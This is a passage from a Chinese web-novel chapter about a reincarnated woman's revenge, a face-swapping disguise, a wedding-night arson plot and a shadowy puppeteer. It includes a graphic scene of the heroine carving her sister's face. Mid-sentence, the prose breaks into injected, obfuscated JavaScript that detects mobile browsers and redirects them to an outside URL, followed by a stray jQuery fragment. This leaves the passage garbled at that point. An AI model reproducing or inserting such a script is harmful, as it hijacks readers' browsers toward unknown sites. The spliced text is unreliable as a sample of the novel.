“冯姑娘这般独立?!” 一位年纪尚小的画师摸摸鼻头,小心翼翼道:“倒也不是,冯姑娘好像有意避着我们什么,她收了好几张兔皮,试了几番是不错,但我亲眼看到她曾描摹过一个女子的画像……昨夜很晚,我见冯姑娘落了东西在外头,风急火燎地送进去,忘记叩问了,所以误看了东西。当时冯姑娘脸色很差,忙把铺在桌面上的美人图撕了去,只好就禁止我们再去掺和她的事了。所以冯姑娘明面上是嫌弃我们碍事,实际上就是在故意挑我们的刺……” 关阇彦耳力极佳,他饶有兴致地逮住那位年纪小的画师,语气不太妙,看似温和平静,实际上暗藏怒杀之气:“你这小子没头没脑,竟连最基本的规矩都不懂?大晚上岂有贸闯女子闺房的道理,不去给人赔罪倒罢了,竟爱在人后嚼舌根子。” 杜明堂也没想到都走到门槛后的关阇彦,会突然插话进来。 他听出关阇彦心情不佳,连忙退避三分,一张折扇转了几圈,捂住了大半面容。他佯装刚刚和这小画师毫无瓜葛,任小画师再努力抛眼色,他都毫不理会了,真是见死不救。 杜明堂心想,他不是不愿救,只是闻到了关兄愠怒之色下暗藏的护短醋味儿,所以不好僭越罢了。 毕竟,夜闯闺房此事吧……关兄本人做得可比任何人都实在多了。 如此双标,岂不醋哉! 小画师百口莫辩,眨巴眨巴眼看向眼前这个严肃冷漠、不怒自威的男人,忙不迭丢了气势,哭诉:“大人大人,我知道错了。” “小小年纪,不学好。”关阇彦见他不过十来岁,倒也不是有意要刁难他。 他话锋突转,似乎有些猝不及防:“我明白你的意思,你是说,冯姑娘做了第二张面皮,且不愿告诉旁人。” 小画师愣了愣,又旋即站定,呆若木鸡般颔首:“是的是的!” “你瞥到的画像是何等模样?” “年轻,貌美,素净……甚至有些忧伤。” “中原人?” 小画师更木了,满脑子疑惑,不是中原人难不成还是南禺人?他年少不已,杜宅里的事情他一概不知,又从未踏出过杜宅的门,又怎么会知道冯姑娘那位长相明媚特殊的女子居然就是南禺人。 并且,他的确看到魏郁春笔下的女子妆容、钗鬟衣裳都是中原女子常见的款式。他自然是不解,魏郁春怎么会画外族的女子? 看他反应,关阇彦也不必要求他回答了,只是信口一句“知道了”,便厌烦地挥挥手让这小子赶紧滚蛋。 小画师如蒙大赦,忙不迭拍拍屁股一溜烟儿跑了,看着小孩儿恨不得当场被吓得倒地不起的背影,杜家三人又齐齐深呼吸了一口气,心想,没想到都督童心未泯,便是连小孩儿都想着逗弄,真是一个都不肯放过。 关阇彦出门而去,长叹起来,脑中徘徊着的是小画师的话“年轻,貌美,素净,忧伤,中原人”。 他总觉得这些词,完全符合着从前在阁楼下仰望到的少女,是不是先入为主,他无法判断。 本就怀疑魏郁春身份的心情达到了顶峰。可他找不到答案去填补心中的空白。 记忆中仰望碧海苍穹的女子、春桃酒宴百般失利的魏氏嫡女、惊艳四座的春生才女、被阿拉翁抓住批判的有着南禺身却无南禺魂的南禺傻女……他迷茫了。 夜幕悄悄降临,杜家一行人准备有方,魏郁春顺理成章地扮作嚣张跋扈又长相奇特的吴艳芳,在众多门客中混迹,她将进入关宅的请帖换作了代表“人有亡斧”之策的胡编乱造之言,偷偷夹到了管家人记账所用的簿子里。等到拜堂仪式结束后,管家人收礼翻账便会立马发现这个可疑的东西,将此物送入关昀洲手中。 信里言明送信人便是隐华画师,因为周裕之派了搅合春桃酒宴截胡了冰玉瓶,令自己感到秘密外泄,从而暴怒,如若要赎罪,便必须将周裕之寻到,交到画师手里,否则必不会帮他制作面皮。 而关昀洲看到这些后,必会对送信人的身份深信不疑。 因为阿菊当时并没有告诉他要去酒宴夺得冰玉瓶之事,只是令他帮忙窃走杜府账本。除了他自己,本该无一人知道他派魏氏去春桃酒宴的目的。 但他现在看到信中内容后,便会立马想到周裕之先前冒犯他的过往,而阿菊刚好消失,周裕之不被限制,会派人截胡他、针对他居然真是意料之中的事。 他本就怀疑周裕之,人有亡斧,哪里管什么嫁祸不嫁祸的事,往后只会恨周裕之是所有事情的始作俑者,定会急于杀死此等祸害。 奇怪的是。 造出这封信的魏郁春,其实完全不知关昀洲与怪人阿菊的渊源,也不知周裕之夜间偷窥关昀洲身份的事,不过因为芳樱楼化尸水才本能地认为关昀洲跟周裕之有仇恨。 收到这封信的关昀洲也完全料想不到,本该死去的杜明堂和关阇彦居然还活着,成为截胡冰玉瓶的元凶,知道了他与隐华画师畸形的利益链,甚至还先他一步破解了换脸秘术的玄机。 千般万般的牵扯,互相撮合成了由误会纠葛而成的网,网上双方都带着朦胧的眼纱,闭着眼睛往前摸索,竟是瞎猫遇上死老鼠,奇迹般互相制衡了。 其中必有幕后之人与阿菊在故弄玄虚,可若天公不作美,这般奇观也不可能得以造就。 要知道,光是一念之差,制衡的网便可碎成渣滓。 微醺的黄昏中,拜堂仪式终于开始了,新娘身披碧色长袍,尽留韶色,凤冠霞帔,天官锁玉颈,胸含一只刻着降妖二将相的铜镜,盖头掩面,金玉流苏缀着尾巴,稳稳将新娘神秘的面容遮掩住。新郎眉宇轩昂,眉目肃重,华服加身,乌帽金冠之华贵不亚于新娘所带宝冠金钗。 关昀洲从容地从管家手里接来缀着四方绣球的绸缎,将其稳稳放在了新娘手上。 新娘的手白得不像话,毫无血色,活似死人样,见丈夫递来绸缎,她却毫无知觉,关昀洲亲自将绸缎一端稳稳在她臂弯间缠了一圈,再塞入大袍遮掩的褶皱后,才将尾巴塞入了她毫无血色的手中。外人看似新娘新郎关系和睦,相敬如宾,哪知新娘早被丈夫用毒药封住了穴,不得说话,除了小腿,浑身竟无一处能动弹。 绣着欢天喜地花样的红盖头下,魏澜清却满脸恐惧,她从未想过,先前还对她百依百顺、彬彬有礼的丈夫会待她如此,婚礼当日竟是见证丈夫真面目的日子。 她无声呜咽,在无人看到的地方,落下泪来,她恐惧不已,脑海里却依旧是庶妹魏郁春的面容。 她还在恨,恨什么呢?恨当年魏郁春出尽风头是不错,却也更恨自己理应嫁给一个待她更好的人,让一个恶魔与自己同床共枕一辈子……她不愿! 她就该占尽好处,这些苦楚或是报复,凭什么由她来承担!事已至此,她恨天恨地,更恨魏郁春,乃是常人无法理解之逻辑。 她半身好似入了婚姻的坟墓,如今只好任由关昀洲肆意摆布。 闹哄哄的礼堂内,看戏的人挤来挤去,人头攒动间,众人欢呼雀跃,府里的婢子簇拥上来,手里端着用来晒东西用的竹筛子圆簸箕,里面放慢了寓意美满的喜糖、红枣、花生、桂圆、莲子等好物,任由客人门张牙舞爪上前抓取。 他们穷尽心机手段所追逐的虚假之物如今尽数成真,想必很高兴吧。 魏郁春漠然地伫立在熙攘之间,看着礼堂内那对唯她知晓身份皆伪的夫妻二人,竟油然生出一番举世皆醉我独醒的念头来,可笑可叹。 关阇彦那头,他运上轻功,挂上枝头,在寥落无人的无灯角落,俯瞰主厅里外红红火火发生的一切。 而树下有一个仰着头倍感无语的人,那就是杜明堂,他好似十分气愤,数落着关阇彦,但偏偏又不敢大声,窝囊又气急败坏:“之前说得玄玄乎乎,还以为你要带我们来干什么大事!结果都是说给冯姑娘听的幌子!让她以为任务沉重,好无法怀疑我们的行动。” 关阇彦不以为意,拨拨耳垂,低声回应:“先前的确任务很重,毕竟找不到混入前线的细作,也无法得知我那好弟弟追踪到的周裕之的下落。” “那是从前,当时你还想直接在今夜就把关昀洲给灭了呢,能不难吗?!” “洞市后,冯姑娘解了换脸谜题,只要通过她伪装后的身份之手,送出那封迷人判断的信,我们便可高枕无忧。阿彦你可清楚了,但还一直在故弄玄虚,把我们所有人都骗得团团转!” 关阇彦站着说话不腰疼:“如此难道不好?毕竟没有你想象中那么凶多吉少,安逸些,你不感谢我还说道我,怕是皮痒痒了。” “这是一个性质吗!” “随你。” 反正,杜明堂被骗不骗有什么所谓? 关键的是,魏郁春一定要被他蒙在鼓里才是,不然,他还怎么看她与魏澜清对峙时最真实的反应。 “所以,我们还要待到多久?” “要一会儿,”关阇彦凝眸望着远处酒宴深处的奢华糜烂,“不知那魏澜清怎么回事,活似个木偶任人摆弄,要想看清楚她的面容怕是没那么容易。” 杜明堂也是方知道,关阇彦口中所谓的“铤而走险”竟是偷窥一番魏澜清的真面目,所以他才会不理解。既然如此,他恨不得当场就回家去干自己的清闲事,结果关阇彦不准,说是入了贼窝岂有轻易出去的道理,事情结束后,惹了魏郁春怀疑,岂不是白干? 他烦地头疼,也泄了气:“那我的好都督,待会儿怎么安排?” “等冯迎春发信号,确保关昀洲看到了信。之后继续等他们夫妻二人入洞房。” 要不然,看魏澜清这个状态,还有关昀洲看得如此之紧的情况,要想亲眼看看魏澜清的模样,还真就只能等到洞房花烛夜了。 杜明堂活似奓毛的猫,他又恨自己没啥功夫,翻不上树头抓人,只好弹射身子,点名道姓骂道:“关阇彦你这什么恶癖!偷窥人入洞房!你有病吧!!!要去你自己去,我不去。” 关阇彦冷笑,刚好瞥到酒宴客人的人流自动分成两畔,中间的路留给了新婚夫妇,关昀洲正牵着木头人新娘走出去,周遭的人满脸红气,满席的酒香醇厚,看客吵吵嚷嚷,纷纷耍酒疯:“送入洞房!送入洞房!” 随着人流一起走的,还有魏家的两位当家人,魏仲傅跟魏夫人。关阇彦笑容僵住,他未曾 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寻到千烛屋,四面八方摇曳着火红的烛光,不知何时,这片屋子起了大火,一阵袖风扫去,便能荡开一浪火海,火海之中有两个瘫倒在地的人影,知是爹娘。 他见状,浑身发怵,两只拳头攥紧得好似要将自己的指节碎为齑粉。 “关昀洲,你个混账!” 他大骂,紧接着要踹门进去,发现门内已经用大锁栓紧,想从外部破门实属艰难。 他的动静引来了几只恶犬,恶犬咬吠不已,定会惹来人群。火势渐大,他管不了那么多,干脆踢了脆一些的窗子,进入被大火包围的屋子,躺在正中央的关老将军和关夫人却一副无知无觉的模样,他远观过去,发现屋内散了迷香,爹娘是先被迷晕后,才被人打算烧死的。 “大事不好了!走水了!走水了!” 关阇彦听到一群提着水桶过来的下人往这边赶来,他悲哀地看着身前形容凄惨的父母,忍痛退步,他将迷香灭去,故意拖动了一些物事遮挡了火势,保证父母不会出事后快速退离窗子。 此时他才注意到,窗下角落散落了一些花瓣。 他拈起来定睛一看,又是阳春菊! 是,关昀洲怎么可能蠢到在这种关头就想要灭了关家的两位顶梁柱?一旦事成,关氏覆灭,他没一身真本事,踏错一步便引众怒,圣人高兴还来不及,恨不得快刀斩乱麻,从此世间,又少了一户名门世家。 所以,关昀洲至多会迷晕他们,却万万不敢一把火在人迹众多的地方将他们活活烧死……是这个阳春菊,是他在从中作梗,想要杀人灭口! 阳春菊到底是什么人?! 他早些就算过,关昀洲并非窃取账本的主使人,但他又跟与杜家有家仇的隐华有联系,所以,真正偷窃关家账本的只会是买卖龙骨香、杀害刘春盛,又疑似是刘春盛之子的阳春菊……他与关昀洲到底是什么样的关系,是帮他,还是要害他?! 关昀洲为何要助纣为虐?!他疯了吗?!!! 说曹操曹操到,刚将妻子送入洞房的关昀洲闻讯,满脸惊愕,立马带着人去了走水的院子。关阇彦故意拿走了散落在地的阳春菊花瓣,躲在暗处,看他这蠢弟弟的反应。 关昀洲不知道阳春菊的存在,又担心家仆众人看见关氏夫妇的存在,被火光照亮的面容上愠怒、焦急、迷茫、恐惧齐聚一堂,颜色丰富,惹人发笑。局势乱成一锅粥,而关阇彦也明白了,他的确不知道走水一事。那个阳春菊别是利用了他,他还傻了吧唧帮人做事,最后被人坑死了他都不知道。 这位阳菊华真是来历不小,表里不一,关昀洲被他哄着骗着,他背地里又捅人一刀,妄图灭了关家。要不然,他为何非要趁着关昀洲没了脸皮的时候作怪?挑的时间也是极妙的,婚礼当夜,人满为患,京中权贵混聚一堂。关昀洲还不在场。 天时地利人和,真是完美啊。 他越想越沉,因为他明白,阳春菊已经知道他的存在了。 本来杀人放火乃机关算尽后之结果,若不是他提前引来家仆,关昀洲也不会发现走水,而关氏夫妇定是必死无疑。 阳春菊定不会走远。 说不定……还在原地静悄悄看着他一手操纵的闹剧。 而阳春菊好似也感受到了关阇彦对他的关注。 关阇彦感受到身后一股阴凉森然的鬼气,一团突兀的花丛生长的深园枯草之中,那团花丛突然癫笑起来,声音极小,咯咯呵呵的,阴恻不已,还让人找不到源头,这些诡笑仿佛来自四面八方! 他根本无从判断这些声音是从哪里来的,身在火光四射的环境,却像极了走在迷雾之中。紧接着,他看到了越老越多,一丛又一丛的花,上面插满了阳春菊,正在远处,有的在前院,有的藏在茂密的松针之中……分布甚乱,那些花丛似在挑衅他,咯咯笑着,上下乱颤,舞上一圈还要拍拍屁股似的扭来扭去,就这样一边舞一边往远处逃跑。 关阇彦腾步追上去,又是越野又是翻墙,忍无可忍,何需再忍,他信手扯下身边一根长了倒刺的树枝,当作箭一般掷出去,刺入一丛,他跑去一看,见有白影,抓住一扯,哪里有什么人,而是一团用灯框架起来的灯偶。 灯偶个头甚小,双手一手持灯一手拈花,两坨腮红扑打在惨白的脸上,拿黑纸糊的毛发上顶着搞笑滑稽的花冠,冠上是浑身上下唯一一处的活物——阳春菊。 明目张胆的挑衅! 关阇彦一夜之间气煞多次,他将灯偶攥成碎纸,远看过去,发现其他的花丛早已不见。 “好一个金蝉脱壳!” 他正奇怪阳春菊若是要逃何须等到现在,难不成是非要故弄玄虚吓他一吓?不可能,他扭作头去,见被他远远甩在身后的院子已无火势,可前方却又一团又一团的红光朝他喷涌过来。 原来他手中攥住的灯偶身上还缠着极细又具韧性的长线,这些长线牵引着灯偶的头颅、脖子、胳膊、腿脚等等大大小小的关节,真正的“阳春菊”在幕后操纵着无数个类似于此的灯偶,如此才营造出方才那番千万花丛一并争放的视觉假象。 阳春菊之所以要吸引关阇彦的注意力,就是为了把这具灯偶留给他。 关阇彦发现灯偶身上绑着的线,远远绑在了触发关宅机关的警铃。他方才扯下灯偶又用力捏碎,夜间瞧不见那些细到看不见的牵引线,等反应过来的时候,一只警铃开始摇摇晃晃,牵扯檐下白只尾铃一起发作,铃中火灯燃放信号,火红若龙,伴随其的是数十只短簇朝他飞过来。 关阇彦听到身后关昀洲的暴喝声:“果然是有人故意放火烧屋,都给我去追!快!!!” 他中计了! “阳春菊”完完全全将他的罪责嫁祸给了他!他是隐身而去了,而自己却行踪暴露,生死难料! 然而宅子里还有杜明堂、魏郁春等人在其中,他未释信号,孤身犯陷,打算把身后那群跟屁虫引走,好为隐卫们留下护人时间。 118. 血债血偿 关阇彦在他处忙得热火朝天,逃得离魏郁春所在的厅堂越来越远。 在她的视角里,关昀洲方将妻子送入布置妥当的房中,才被人拉着出去应酬,没多久就神色匆忙地大步离去了,那时分,他竭力伪装成兄长时扎实稳重的脸色仿佛顷刻碎裂。 外人瞧不出,她却一下子就辨出了他的状貌不堪,像关阇彦那样不肯服输又性傲的人,便是遇了大事想着都是怎么掩饰心慌,再竭力突出一些他的雄伟道貌。 外头腌臜酒客抱团畅饮,她夹在其中格格不入,稍微多待一刻便会引来陌生人异样的嘲讽,皆是些阴阳她生得丑的言辞,简直是骚扰不断。她趁乱离去,发现主院深处的婚房灯火摇曳,里面端坐着一个仿佛木头人的新娘,是魏澜清。 关昀洲走了好一段时间不回来,她也没有放出过任何信号,关昀洲跟杜明堂想必还在关昀洲的书房之类的禁地里翻箱倒柜寻线索,哪里顾得上她? 她的确被关阇彦故意营造的紧张氛围骗住了,她想着的尽是躲开别人的视线,扮作恶鬼模样,去寻魏澜清报仇。 这个点子,自她发现换脸奥秘的那刻起便有了。 要不然,她也不会连夜赶制出另外一副皮面,不同于她现在佩戴的那张粗鄙丑陋的是,另外一张面皮生得一副清纯干净的少女美面,这是她前生一直用着的一副面孔。这张面皮的主人,是魏郁春。 她记忆超群,面对一张刚失去没多久的面容,每一处细节她皆能大致将其描摹出来。 昨日夜晚,她趁夜试着描画出来,却不想差点被一名冒冒失失的小画师撞见,情急之下她撕碎重画,后面还遣散了几位画师助手,唯恐此秘泄露。 倒不是她戒心太重,而是她知道关阇彦好似有千里眼顺风耳,有点小心思,搞不好就被他看穿了。当真是可怕。 她褪去了一件颜色浮夸又宽大的衣袍,显得不再那么臃肿,她身材纤细,里面的衣服虽然素净,但配上前世的面容,却显得格外贴合,更添韵味,所谓清新脱俗便是如此。新娘洞房,禁外人骚扰,就连院中都未留下人看守,奇葩的是,好像连个陪房的丫鬟都没有。 魏郁春心奇,以为是什么圈套,躲在屋侧的窗子偷窥其中,发现被盖头捂住的魏澜清极其老实,她端坐在床侧,双手交叠,两腿并拢,活似被绑架了。她故意派窗弄出动静,可魏澜清却依旧跟个假人一般,端坐原处,一动不动。 这可不是她的性子。 魏郁春凝眸看去,魏澜清染过甲的手指,皮肤细腻,不是假物。紧接着,她看到了魏澜清的盖头下落出几行泪来,她意识到不对劲,透过昏黄的灯光,看到了魏澜清汗毛直竖,她还在一直战栗,害怕至极,可她颤抖的幅度极小,叫人几乎看不出什么异端。 魏郁春终于明白了,为何见他们夫妻二人拜堂之时,心中总浮现怪异之感了。 魏澜清总是任由她的夫君摆布,连捧花绸缎都需丈夫为其拿好送去,走起路来也极为迟缓,虽然面容被盖头遮住,却还是难掩其僵硬之气。 并且,关昀洲看她的夫人看得十分紧,生怕被人发现了什么破绽似的,遮遮掩掩,鬼祟不已。此事府里貌似出了什么大事,关昀洲却突然一反常态,把令自己紧张的夫人丢在了空房,却还不准旁人近身。 好像他夫人身上的秘密唯有他可看破一般。 魏澜清怕是被她的好夫君动了手脚,喂了毒药,还是点了穴位,所以才不能动弹? 怎么,魏澜清不愿服从他,他生怕婚礼出差误便把夫人制成了傀儡吗? 也是,魏澜清这个人就是看不清自己,以为自己已是凤凰,殊不知还是在树下扑腾的山鸡,许是来了京城被惯得飘了,就突然目中无人了?还是说,上次春桃酒宴对她的打击太大了?在外头,魏氏的名声至今还破破烂烂,关昀洲也是不愿看到这副局面的吧?她在家中闹,谁不觉得心烦呢? 熟悉的邪性涌上魏郁春的心头,人性本恶,何来驯化一说? 思及此处,魏郁春便觉得区区被此邪性玷污了气节又何妨,她心安理得,也知她已不是从前自诩高风亮节的自己了。 她绕开窗子,轻声推开了空房的门,飕飕冷风倒灌其中,直接将魏澜清面上的盖头掀飞。她泪流满面,妆容化得不堪入目,她听到开门声,还以为是恐怖的夫君,战栗的幅度更大了。 可当她睁大眼睛好好看着踏步进来的女人的脸时,她忽然觉得,夫君已是良善之辈。 她被喂下的毒药药性极强,她的口舌至今无力麻痹,竭力抖动双唇,撑死狼狈地挤出三只字眼,声如蚊蚋:“魏……郁……春……” 魏郁春可能这辈子都想不到,当年在魏澜清脸上看到的纵傲之色会出现在自己的面庞上。 可她的处境到底还是凄凉些,她双目红得仿佛要顷刻爆裂,屋内所有的红烛加起来,烈焰的温度也远不及她眼底燃烧的愤怒。 她眸子清冷,傲骨挺立,她深吸一口气,望着不能自理的魏澜清,竟是弯开唇狞笑起来。 “咎由自取。” “恶鬼作孽。” 她每走一步便多说一句话,声线从平静变得冰冷,最后已是咬牙切齿。 “血债血偿!” 魏澜清就这样看着身前这个素衣翩翩又形容疯狂的女人,离自己越来越近。在她噩梦中出现过无限次的面庞,居然真的这样活生生出现在了眼前。她怀疑自己还在做梦,可眼泪却止不住掉落,嘴里不求饶,反而得寸进尺,如同狗吠:“贱……人!贱……人!!!呜呜呜……啊啊啊!!!” 每次噩梦,她都是用这般恶毒的话驱赶恶鬼,可真的有恶鬼吗?多是被人恶意害死后死不瞑目的可怜人罢了。死人不得书写真话,任由地狱之上、头顶之上的恶人血口喷人,他们都说自己可怜,说自己无奈,说自己温良贤淑……可笑可笑! 不同于旁人,她回来了,是老天爷成全了她,或者说……是她那九泉之下含冤而死的可怜母亲成全了她。 她哀怨不已,只是喃喃:“娘……女儿来给你报仇了……我不会让你失望的……” 魏郁春攥着袖,竟从中掏出一把利刃,她积压太久的怨愤如同火山爆发,她何来理智可言? 魏澜清还在哑声嚷嚷:“……鬼……是鬼!” “青天白日,我看人比人,更似鬼。” 闻言,魏郁春嗫嚅着白裂的唇瓣,苍白道。 话语伴风而动,低语嘶吼,她身后的风好像越来越大,好像有什么东西在无形中推着她往前走,可她身后什么都没有,也许是看不见的亡魂……也许是母亲。她泪眼婆娑,嘴边却还是笑着的。 魏澜清终于认清现实,眼前的“恶鬼”乃是她不可驱赶之物,她拼命蠕动嗓子,却一点求救声都发不出,顶多似个病兽一般无力撕咬:“呜呜……啊啊……呜啊……” 魏郁春笑着哭,哭着又笑,诘问她:“我回来了,姐姐,你高兴吗?我很高兴。你呢?” 她的刀刃已经逼近魏澜清那张姣好光洁的面容。 刀光闪烁,魏郁春便又低声讽刺她:“你知道吗,当年,你拿匕首活剐了我的脸,很疼,很疼……我很懦弱,不懂回击,不知回击,可回想起来,怨愤积胸,倒是快把自己逼成一具怨妇凶尸,危害人间了。我不能那么做,因为我比你有良心,所以便只能苦了姐姐先受了这次回击了。” 她目露凶色,这等表情已是她换好的那张清亮温良的面容无法包容住的了,二者若水火,不相容,所以她的脸便看起来越来越阴鸷扭曲,万分恐怖。她忘记了何为胆怯,只知道手上的刀刃愈来愈锋利,眼前女人的脸越来越血腥,女人痛得失声痛苦,可她又偏偏弯不下腰,也躲避不了攻击。 魏郁春突然很感谢关昀洲为她提前做好了这些准备。 她手中的力度控制地很好,会让魏澜清感到痛不欲生,却又不会令她痛昏死过去。光洁的面容不复存在,一只只丑陋的血窟窿遍布其上,丑……当真是丑,丑得引人发笑了。 魏郁春眨眨眼睛,摆弄着魏澜清被刮花的脸蛋,夸奖不已:“真漂亮啊。” 这又怎么够呢? 魏郁春收住刀刃,瞬间提手攥住了奄奄一息的魏澜清的脖子,用力掐住,又自言自语道:“你知道吗,去年的冬天很冷,月色当空照,把荒山野岭上的百般光景照得像只明镜里才有的幻境,我在山上孤身一人坐着,看了很久的月亮,吹了很久很久的晚风,人间甚好,春华不断,我很留恋。我还有太多梦想没去完成,还有很多世界没来得及去看……我不想死,但我知道,我不死,你们会把母亲逼死的。” “我真是天真,但那时我已万念俱灰,好像觉得被你抢走了不朽的名头就像是没了命一样,少女的天真如此纯简。但那根本没什么大不了的,你抢走了又如何?不是你的,终究不是你的啊……你说是吗,姐姐?” 魏澜清已快要神志不清,她只知道被死死掐住脖子时极度窒息的痛苦,她已顾不上脸上的血窟窿。 那些鲜红的血液从伤口滚滚流下,顺着她的脖子一直流到了魏郁春的手上,活似兴奋剂一般,激发了魏郁春的倾诉欲。 “对,就是你这般的表情。痛苦,窒息,恨不得早点死了算了……荒庙里,蛛网多得像极了怨鬼身上披着的白雾,是惯会唬人的小把戏。你不知道我有多可怕。我自缢了,含恨而死,含惧而死,白绫掐着我的脖子,一点一点下坠……我听到我的骨头一点一点迸裂,死的过程一点都不短,我挣扎了很久,没人会回应的,只想着当时早些走了就好,早死早超生不是吗?” “……我没有想到我还会再回来,你便当我是鬼,不,”魏郁春皱紧眉头,她压抑着滔天的情绪,那副纠结而拧巴的模样,天知道她收了多大的委屈才会变成这样,“我是来寻你复仇的。我在死人堆里认出了我那可怜的母亲,你们不是说要放过她吗?你们骗我!” 魏澜清期期艾艾:“不是我……不是我,是魏仲傅!是……是我爹,你去找他报仇……呜呜呜!不是我!!!” 事到如今,她不认错,还是不认错!何其恶毒,何其愚蠢,何其自私!!! 魏郁春摇摇头,还是那副蹙眉而苦涩的神情:“你该死……可让你死还是太轻松了!” “你放心,魏仲傅?我那龌龊至极的好爹吗?我也不会放过他的!你们一个俩个,谁都逃不掉,你们都是凶手!!!” “我根本不在乎你拼死要抢的那破未婚妻的位子!竖子眼界短浅,才识鄙陋,粪土之墙不可圬也!宅院之斗,不过你这种胸无点墨、脑无实质之辈才会为之肝脑涂地!我从不想与你争抢什么,而你呢?嫉妒心如此之重,莫不是要这天地也要围着你转吗?你害了我,害我一生,连我最后的亲人也不放过!你该死!!!” 魏澜清已被她吓煞,在她的认知里,前世那个怯懦又不会言语的魏郁春活似一张薄纸糊成的墙,一吹就倒,怎么敢跟她这么对峙? 眼前这个凶狠而阴恻的女子……浑身喷涌着压倒性的气势,恐怕就算她身体能动,也难敌其意。她早已认定眼前这个女人,就是十足的地狱恶鬼,恶鬼这是来勾她的魂了! 她惜命不已,不敢再闹,神志又不清,只好咬着牙,字句虚浮又语无伦次地求饶:“是……是……我该死!你放了……我吧!我该死!!!” 魏郁春摇摇头,看着她如今这副猪狗不如的模样,她想要狂妄大笑,浑身那股令她发怵的恶寒爬上她的脊背,她难过地像去年山上失魂落魄的自己……命运好似实现了一个轮回,她对抗天意,貌似已经成功了大半。 她只恨自己身不由己,杀不得这蠢货,既然杀不得,那就辱个够! “朔州诗会?春生才女?那是你吗?我的好姐姐。” 魏澜清哭嚎着:“不是我……不是我!!!” “春桃酒宴,你落败狼狈,你该吗?” “我该……我该!是我胸无点墨!是我脑无实质!我是狗豕不如的东西!!!” 她浑身麻痹,能完整说出这些话已是破天荒的本事。她真是一心求生,苟且如此,半点脊梁骨都不曾有,怎么敢冒充她的。魏郁春看着她,只觉得羞耻。 魏郁春本欲继续纵欲下去,可听到外面传来了一串脚步声,她在南禺时得到了太多锻炼,感官敏锐了不少,她知道现在必须要撤退。 她看着屋内一地狼藉,心道不妙,她匆忙将沾了血的匕首塞入了魏澜清攥地紧紧的手。 对她不怀好意地威胁道:“从现在开始,你便自己拿着匕首割伤自己的脸,听明白了吗?若是不听话,我定会再来寻你!” 魏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447461|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 澜清对此深信不疑,她哭得要晕厥,只好接住对方给的东西,缓缓朝着自己血淋淋的脸蛋剐去,她每刺一下,她便失声尖叫一声。 在魏澜请凄厉的低吼声中,魏郁春翻了窗子出去,充斥了铁锈味的血腥气消匿不见,外面的冷风将她满脸癫狂的炙热吹凉,她精神恍惚,才发现自己手心的刺痛感,她抬手,发现手心裂了一大块伤口,竟是方才抓刀时太过用力误伤到的。 她发现这块伤口越来越疼,她每动一下掌心,伤口便撕裂更大。 她似乎觉得不可思议,这等钻心的疼痛,她方才居然半点感知不到。 她入魔了,差一些便是……若不是外面的脚步声突然干预,她恐怕也不会顾忌什么生死存亡了,大不了灭了魏澜请再自戕得了,你死我活又如何?尽管这有些不值当,甚至还违背了重生后想要好好活下去的决心。 她不单单是魏郁春了,她也是冯迎春,她身上有很多牵挂,岂是她说不要就不要,说放下就放下的? 拿着别人身体玩鱼死网破的戏码,那真是自私过了头,跟丧心病狂的魏澜清有何区别? 想起前世母亲为她伤心欲绝的模样,还有远在南禺爹娘跟妹妹灿烂的笑脸,她的泪眼摩梭了几分,也冷静了些许。 可怕的是,这种关头了,她甚至还老忘不掉关阇彦那副欠兮兮的模样。想到此处,冷静变得微微上火。 她扶着难以动弹的手臂,勉强行走在夜间,一时迷茫,也不知道接下来到底要干什么。 那阵脚步声又响了起来,不疾不徐。 魏郁春压着呼吸声,警惕朝四周看,可这里一片黑暗,她什么都看不到,而那些脚步声却还在,不管她走到哪里,脚步声都会保持一定的距离,继续跟着她。 还有值得一提的规律是,这些声音常常一会儿有,一会儿却又没了。 她还不知道这些脚步声的主人,便是刚应付玩关昀洲那头棘手情况的关阇彦,不久前阳春菊猝然出现,大展身手,他险些无法应付,但他身手极佳,可谓是天造之才,僵持一会儿后他竟完完整整撤离了乱局。 归来时分,他马尾高束,眉目劲朗,长身玉立,完全一副游刃有余之样,不曾被干扰多少。 说来可惜,他好不容易布的局都被那“阳春菊”给毁了,魏郁春跟魏澜清对峙的情形,他一点都没瞧见,甚至方才回来,热闹的厅堂里,人已经散得差不多,他连魏郁春的身影都没看见,于是便匆忙寻起来,总感觉魏澜清所在之地,便是她会去的地方。 这不,他刚寻过来,魏郁春就警觉地离开了案发地。 关阇彦未曾踏过这个院子,但却在轩前嗅到了一股微妙的血气,他估摸已经猜出了其中已经发生的一些事了,于是也不想再去空房里看看魏氏的庐山真面目了。 他明白,屋子里头住着的怕是已不成人形的东西了,要去看也是什么都没有的。 紧接着,他也发现了魏郁春出来的身形。 她绕了偏门,那里栽了几丛果树,夏日促长,果树紧紧挨着对方,形成了一道天然的树墙,严丝合缝的,人站在对岸,互相看不见互相。 关阇彦就是借此机关,悄咪咪地躲在树墙另一侧,跟着魏郁春的动作一起行径,一会儿故意放出脚步声,一会儿又将动静藏起来。 他是在试探对方。 树墙出现了一个缺口,二人都有些猝不及防,毕竟黑夜难防。 魏郁春透过缝隙,看到了黑夜里的一丛别样的颜色。 关阇彦站得还比较远,在那处显得身影微绰,好似被无形削去了大半边肉一般,偏偏削的又是两侧的,高度依旧不减,显得他有点像只可怖的鬼影。 恰好,他也的确是魏郁春此时最不想看见的人。 她脑子一片空白,毕竟想要迅速从方才那个环境脱离是很难的,她怔然,似乎还忘记了她已易容的事实。 而关阇彦也捡了这个空子,瞥到了那张他此生断不可能再认错的容貌。 那一瞬间,好似做梦一般。 年少时分,阁楼之上,那个抱着书卷叹息着“卧云”之惑的少女,恬静而珍奇。 本是多年前惊鸿一瞥后就念念不忘的模样,再见一次,他怎么可能想不起来呢?更何况他本就不愿忘记这些美好,只是世事变迁太快,他不得不将自己的贪欢之欲收敛起来,扛上责任,奋勇向前。 他仿佛还未从中抽出神来,脑中唯有当年那一句句承诺—— “爹娘,魏家最漂亮的小姐是谁?” “那我肯定能找到她了……” 没想到这些断续太久的故事,并未成为一纸空文…… 